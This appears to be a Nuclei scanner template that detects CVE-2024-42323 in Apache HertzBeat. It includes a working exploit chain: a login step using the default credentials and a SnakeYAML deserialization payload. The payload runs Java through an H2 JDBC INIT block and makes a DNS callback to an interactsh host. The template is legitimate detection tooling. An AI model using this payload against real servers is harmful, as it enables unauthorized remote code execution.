Apache HertzBeat < 1.6.0 - SnakeYAML Deserialization Remote Code Execution

id: CVE-2024-42323

info:
  name: Apache HertzBeat < 1.6.0 - SnakeYAML Deserialization Remote Code Execution
  author: ChrisJr404
  severity: high
  description: |
    Apache HertzBeat versions before 1.6.0 use a vulnerable version of the SnakeYAML library to parse YAML files imported through the `/api/monitors/import` and `/api/alert/defines/import` endpoints. An authenticated user can submit a YAML file that constructs an `org.h2.jdbc.JdbcConnection` with a malicious H2 in-memory JDBC URL whose `INIT` block contains a `CREATE ALIAS ... $$ ... $$` Java source snippet, achieving remote code execution inside the HertzBeat JVM. The vulnerability is exploitable in default deployments because the official Docker image and quickstart documentation ship with the well-known default credentials `admin:hertzbeat`, which the template uses for chained authentication.
  impact: |
    Authenticated remote code execution inside the HertzBeat JVM. Default-credential deployments collapse this into pre-auth RCE.
  remediation: |
    Upgrade to Apache HertzBeat 1.6.0 or later. Change the default `admin:hertzbeat` credentials in any deployment that has not already done so.
  reference:
    - https://lists.apache.org/thread/dwpwm572sbwon1mknlwhkpbom2y7skbx
    - https://nvd.nist.gov/vuln/detail/CVE-2024-42323
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2024-42323
    cwe-id: CWE-502
    epss-score: 0.08322
    epss-percentile: 0.94508
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: hertzbeat
    shodan-query: http.title:"HertzBeat"
    fofa-query: title="HertzBeat"
  tags: cve,cve2024,apache,hertzbeat,snakeyaml,deserialization,rce,intrusive,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/account/auth/form HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"identifier":"{{username}}","credential":"{{password}}","type":0}

    extractors:
      - type: json
        name: token
        json:
          - ".data.token"
        internal: true

  - raw:
      - |
        POST /api/monitors/import HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: multipart/form-data; boundary=----testingboundary

        ------testingboundary
        Content-Disposition: form-data; name="file"; filename="poc.yaml"
        Content-Type: application/octet-stream

        !!org.h2.jdbc.JdbcConnection [ "jdbc:h2:mem:{{rand_text_alpha(8)}};MODE=MSSQLServer;INIT=drop alias if exists lk\\;CREATE ALIAS LK AS $$void lk() throws java.io.IOException { java.net.InetAddress.getByName(\"{{interactsh-url}}\")\\; }$$\\;CALL LK ()\\;", [], "a", "b", false ]
        ------testingboundary--

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4b0a00483046022100f424cefb787305a2cba5c49518318fe4d25570d4c940a7063486e5840a1b6c5b022100ee814ad69dc971d44c749e11539ea2e29d9db7a9f3e09c5921c9fb4ec35f35a3:922c64590222798bb761d5b6d8e72950